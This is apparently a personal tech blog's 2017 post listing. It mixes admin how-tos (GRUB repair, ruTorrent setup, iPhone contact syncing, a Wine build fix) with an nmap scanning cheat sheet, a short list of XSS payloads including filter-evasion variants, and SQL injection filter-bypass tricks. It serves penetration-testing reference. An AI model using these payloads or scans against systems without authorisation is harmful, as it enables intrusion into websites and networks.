Skip to main content

Posts

Showing posts from 2017

Latest Post

Fix Arch [Manjaro] GRUB Bootloader

 Boot to any [Manjaro] live GUI disk. Use manjaro-chroot 1. Start by identifying the partition where your Manjaro installation controlling the active Grub menu resides and needs repairing. If you are in Graphical mode you can use an application called GPartEd , which should be in Menu > System > GPartEd. This will provide a simple visual illustration of the partitions on your hard drive(s). To do the same thing from terminal or TTY you can use this command lsblk -f 2. manjaro-chroot is a tool to easily setup a functional chroot into an installed Linux installation from a live boot of a Manjaro Installation Media. To setup the chroot use the command sudo manjaro-chroot -a You will be presented with a terminal. Wait until it shows a list with the available system partitions on your computer and choose the one you want to repair.    1.) First of all check the partition for the ESP (EFI System Partition). An ESP is a fat32 partition and contains .efi ...

Installing ruTorrent to web server

Connect to the Server ssh root@SERVER_IP_ADDRESS adduser USER_NAME gpasswd -a USER_NAME sudo Disable root login Use nano to change PermitRootLogin to no. Ctrl+O to save and Ctrl+X to quit afterward. nano /etc/ssh/sshd_config service ssh restart Setup key authentication It’s better, less hassle and a lot safer. You should use it. # at your local machine: gen key and upload it to your vps ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub | ssh USER_NAME@YOUR_SERVER_IP_ADDRESS 'cat >> .ssh/authorized_keys' Setup rtorrent # install libraries required to build rtorrent sudo apt-get update sudo apt-get install subversion build-essential automake libtool libcppunit-dev libcurl3-dev libsigc++-2.0-dev unzip unrar-free curl libncurses-dev libxml2-dev # download source and install cd ~ mkdir src cd src svn checkout https://svn.code.sf.net/p/xmlrpc-c/code/super_stable xmlrpc cd xmlrpc ./configure --prefix=/usr --enable-libxml2-backend --disable-libwww-client --disable-wininet-cl...

NMAP Cheat

Scan Target: nmap 192.168.1.1 Scan quickly: nmap -T4 -F 192.168.1.1 Scan a range of IPs nmap 192.168.1.1-20 Scan all 65535 ports: nmap -p- 192.168.1.1 Scan a single Port nmap -p 22 192.168.1.1 Detect OS and Services nmap -A 192.168.1.1 Standard service detection nmap -sV 192.168.1.1 Heartbleed Testing nmap -sV -p 443 --script=ssl-heartbleed 192.168.1.0/24

XSS Tricks

<script>alert(1);</script> <img src =1.jpg onerror=alert(0)> <scr<script>ipt>alert(1);</sc</script>ript> <script>prompt(1);</script> "; alert('0')// %27; alert('0')//

SQLi Tricks

If the Space charater is blocked you can bypass it via TAB (\t) char with url encoded : %09 \n : %0A try: if only integer is required first digit is integer: ?id=1 Payload-- last digit is integer: ?id=2 Payload %23 222 one line in integer: ?id=Payload\n2 ?id=2\nPayload ' or 1 = 1 limit 0,1-- -

Set up contact syncing with Google Contacts on iPhone!

Follow these steps to set up contact syncing with Google Contacts: Tap Settings > Mail, Contacts, Calendars > Add Account > Other > Add CardDav Account. Enter the following information in the fields: Server: google.com User Name: Enter your full Google email address Password: Your Google account password Select Next at the top of the screen to complete the setup. After you have completed the setup, open the Contacts app on your device. Syncing should begin automatically. Additional Information Note: Make sure that SSL is enabled (under Advanced settings), and that the port is 443.

Wine Installation X Error

Error: configure: error: X 64-bit development files not found. Wine will be built without X support, which probably isn't what you want. You will need to install 64-bit development packages of Xlib/Xfree86 at the very least. Use the --without-x option if you really want this. Solution: sudo apt-get install xorg-dev